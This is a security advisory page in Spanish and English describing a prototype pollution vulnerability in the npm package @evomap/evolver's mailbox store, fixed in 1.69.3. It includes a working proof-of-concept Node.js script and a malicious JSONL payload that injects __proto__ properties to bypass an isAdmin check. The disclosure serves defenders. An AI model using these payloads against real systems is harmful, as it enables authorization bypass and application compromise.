Media

Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations

  • Publicada: 22.04.2026
  • Actualizado: 11.10.2026 10:22

Summary

A prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into Object.prototype. The vulnerability exists in the _applyUpdate() and _updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like __proto__, constructor, or prototype.

Details

The vulnerability exists in src/proxy/mailbox/store.js at lines 123 and 145:

js
// src/proxy/mailbox/store.js:115-128
_applyUpdate(row) {
  if (row._op === 'update') {
    const existing = this._index[row.id];
    // VULNERABLE: Direct Object.assign without key filtering
    if (existing) Object.assign(existing, row.fields);
    else this._index[row.id] = row.fields;
  }
  // ...
}

// src/proxy/mailbox/store.js:138-150
_updateRecord(id, fields) {
  const existing = this._index[id];
  // VULNERABLE: Direct Object.assign without key filtering
  if (existing) Object.assign(existing, fields);
  // ...
}

The vulnerability can be triggered when an attacker has the ability to write to the messages.jsonl file (used for mailbox persistence). By crafting a malicious JSONL entry with __proto__ as a field key, the attacker can pollute the prototype of all objects.

The data flows from:

  1. messages.jsonl file →
  2. readLines() function (line 47) →
  3. _rebuildIndex() (line 113) → _applyUpdate() (line 121) →
  4. Object.assign() pollutes prototype

PoC

Prerequisites:

  • Node.js installed
  • Access to write to the mailbox messages file

Steps to reproduce:

  1. Create a test file demonstrating the vulnerability:
js
// test-prototype-pollution.js
const fs = require('fs');
const path = require('path');

// Simulate the vulnerable Store class logic
class VulnerableStore {
  constructor(filePath) {
    this.filePath = filePath;
    this._index = {};
  }

  load() {
    if (!fs.existsSync(this.filePath)) return;
    const lines = fs.readFileSync(this.filePath, 'utf8').split('\n');
    for (const line of lines) {
      if (!line.trim()) continue;
      try {
        const row = JSON.parse(line);
        this._applyUpdate(row);
      } catch (e) {
        // Ignore parse errors
      }
    }
  }

  _applyUpdate(row) {
    if (row._op === 'update') {
      const existing = this._index[row.id];
      // VULNERABLE: No filtering of dangerous keys
      if (existing) Object.assign(existing, row.fields);
      else this._index[row.id] = row.fields;
    }
  }

  update(id, fields) {
    this._updateRecord(id, fields);
  }

  _updateRecord(id, fields) {
    const existing = this._index[id];
    // VULNERABLE: No filtering of dangerous keys
    if (existing) Object.assign(existing, fields);
    else this._index[id] = fields;
  }
}

// Test the vulnerability
console.log('=== Testing Prototype Pollution ===\n');

// Create a malicious messages.jsonl file
const maliciousContent = JSON.stringify({
  _op: 'update',
  id: 'msg-123',
  fields: {
    __proto__: {
      polluted: true,
      isAdmin: true
    },
    normalField: 'normalValue'
  }
}) + '\n';

const testDir = '/tmp/evolver-pollution-test';
if (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });
const testFile = path.join(testDir, 'messages.jsonl');

fs.writeFileSync(testFile, maliciousContent);
console.log('Created malicious messages.jsonl');

// Load the store (this triggers the vulnerability)
const store = new VulnerableStore(testFile);
store.load();

// Check if prototype was polluted
console.log('\n=== Checking for prototype pollution ===');
const testObj = {};
console.log('testObj.polluted:', testObj.polluted);
console.log('testObj.isAdmin:', testObj.isAdmin);

if (testObj.polluted === true) {
  console.log('\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!');
  console.log('All objects now have "polluted" and "isAdmin" properties.');
} else {
  console.log('\n🟡 Prototype pollution may require different payload structure');
}

// Demonstrate impact - bypassing authentication check
console.log('\n=== Impact Demonstration ===');
function checkAdmin(user) {
  // Typical pattern that would be vulnerable
  if (user.isAdmin) {
    return 'Access granted - Admin privileges';
  }
  return 'Access denied';
}

const regularUser = { name: 'normal_user' };
console.log('Regular user check:', checkAdmin(regularUser));

// Cleanup
fs.rmSync(testDir, { recursive: true });
  1. Run the test:
bash
node test-prototype-pollution.js

Expected output:

=== Checking for prototype pollution ===
testObj.polluted: true
testObj.isAdmin: true

🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!
All objects now have "polluted" and "isAdmin" properties.

=== Impact Demonstration ===
Regular user check: Access granted - Admin privileges

Note: Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like constructor.prototype.isAdmin.

Attack scenario: If an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:

jsonl
{"_op":"update","id":"malicious","fields":{"__proto__":{"isAdmin":true,"canExecuteArbitraryCode":true}}}

Impact

This is a Prototype Pollution vulnerability that can lead to:

  • Property injection affecting all JavaScript objects
  • Authentication/authorization bypass
  • Application logic manipulation
  • Denial of service via prototype corruption
  • Potential remote code execution if polluted properties affect security-critical code paths

Attack requirements: The attacker needs write access to the messages.jsonl file. This could be achieved through:

  • File upload vulnerabilities
  • Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command)
  • Compromised backup files
  • Shared hosting environments

Affected users: Anyone using the mailbox functionality in multi-user environments or with persistent message storage.

Software afectado

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PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @evomap/evolver < 1.69.3 1.69.3

Referencias

Puntuación CVSS 5.2/10
Vector CVSS
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H
Debilidad (CWE)
CWE-1321
Plataforma
npm
Paquete
@evomap/evolver
Publicada
22.04.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-2cjr-5v3h-v2w4 - CC BY 4.0

Historial de vulnerabilidades: @evomap/evolver

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
6
Primera → última
04.2026 05.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 3
  • Media 2

Divulgaciones por año

  1. 2026: 6
  1. Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations esta entrada
    Media · 5.2 CVE-2026-42077 < 1.69.3 1.69.3

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